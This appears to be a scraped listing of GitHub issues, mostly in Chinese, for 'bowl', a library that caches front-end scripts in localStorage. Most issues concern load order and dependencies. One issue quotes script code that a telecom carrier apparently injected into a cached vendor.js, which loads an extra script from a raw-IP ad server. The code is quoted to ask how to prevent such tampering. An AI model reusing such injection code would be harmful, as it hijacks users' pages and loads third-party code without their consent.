elemefe / bowl Goto Github PK
View Code? Open in Web Editor NEW🍚 static resources front-end storage solving strategy
Home Page: https://elemefe.github.io/bowl/
License: MIT License
🍚 static resources front-end storage solving strategy
Home Page: https://elemefe.github.io/bowl/
License: MIT License
支持跨域么?
第一次加载如果文件存在依赖关系会报错
原因:异步加载的脚步加载完的时间不一样,依赖的js文件可能在被依赖的文件加载慢.
解决方案:为创建文件按照add函数编写顺序加载(第二次加载是会这样的,因为文件已经全部缓存)
为异步加载文件创建一个数组,对比add里面的数组进行编码,全部js加载完毕在插入js脚本.
本人能力有限暂没法修复改bug...只提供使用建议.谢谢!
原来是这样的,我并不想写依赖,就像正常写js一样
不写依赖
bowl.add([
{ url: 'js/jquery.min.js', key: 'jquery' },
{ url: 'js/touchslidingBase.js', key: 'touchslidingBase' },
{ url: 'js/touchSlidingBox.min.js', key: 'touchSlidingBox' },
{ url: 'js/jquery-loading.1.8.min.js', key: 'jquery_loading' },
{ url: 'js/swiper3.4.2.js', key: 'swiper' ,noCache:false},
{ url: 'js/youkuVideoInfo.js?v=3', key: 'youkuVideoInfo' },
{ url: 'js/index.js?v=1', key: 'index' }
]);
写依赖,依赖文件过长.
bowl.add([
{ url: 'js/jquery.min.js', key: 'jquery' },
{ url: 'js/touchslidingBase.js', key: 'touchslidingBase',dependencies: ['jquery'] },
{ url: 'js/touchSlidingBox.min.js', key: 'touchSlidingBox',dependencies: ['jquery','touchslidingBase'] },
{ url: 'js/jquery-loading.1.8.min.js', key: 'jquery_loading', dependencies: ['jquery']},
{ url: 'js/swiper3.4.2.js', key: 'swiper', dependencies: ['jquery']},
{ url: 'js/youkuVideoInfo.js?v=3', key: 'youkuVideoInfo',dependencies: ['jquery'] },
{ url: 'js/index.js?v=1', key: 'index',dependencies: ['jquery','touchslidingBase','touchSlidingBox','jquery-loading','swiper3','youkuVideoInfo'] }
]);
现在测试修改了原文件方法.
var bowl = new Bowl()
bowl.add([
{ url: 'dist/vendor.[hash].js', key: 'vendor' },
{ url: 'dist/app.[hash].js', key: 'app' },
{ url: 'dist/style.[hash].css', key: 'style' }
])
请问不论这三个文件是以何种方式加载,能保证按顺序执行吗?
mi5 plus实测,建议修正。
Documentation 中的md格式貌似不能被正常解析 ,如果是故意为之,请忽略~
我看打包后的js里还有promise对象。。
通过 require.ensure 加载的文件,能缓存到 LocalStorage 中吗
遇到过这样的一个情况,一个vendor.js,被电信运营商劫持,直接修改js的内容。被篡改的js代码如下
var atn_obj = new Object;
atn_obj.oldurl = 'http://images.plateno.com/mall_static/js/vendors.1901b82521098c3663c0.js?cHVzaA=105658';
atn_obj.unified_url = 'http://121.15.207.224:3535/adv_select/ad_unified_access?SP=ABzs/PzoPOz8zPg7yXnpGRmpOgmJugy8vPzs/Pg86Dy8vPzs/Pg8/Nz8/Ny8rKyc7Jv87JzNGYm4PKxtHLzdHNzMjRzMyDzoPOz8rJyseDz4PPg5Kek5PRj5Oei5qRkNGckJKDzsvHy87MyMjGzIPNg88=';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.unified_url;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
由于被篡改,导致执行的顺序出错,出现异常。被篡改的js已被localStorage缓存了,下次访问会继续执行,面对这个异常情况,有比较好的机制去预防么?``
如题
14年底对本地存储缓存代码开始研究;
15年 产出这个东西 https://github.com/litson/Seedjs
介于公司的某些方面限制,没有发扬光大,继而不再继续开发维护;
今天看到被其他团队实现而且发扬光大,心理感觉有点唏嘘,持续关注,加油
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.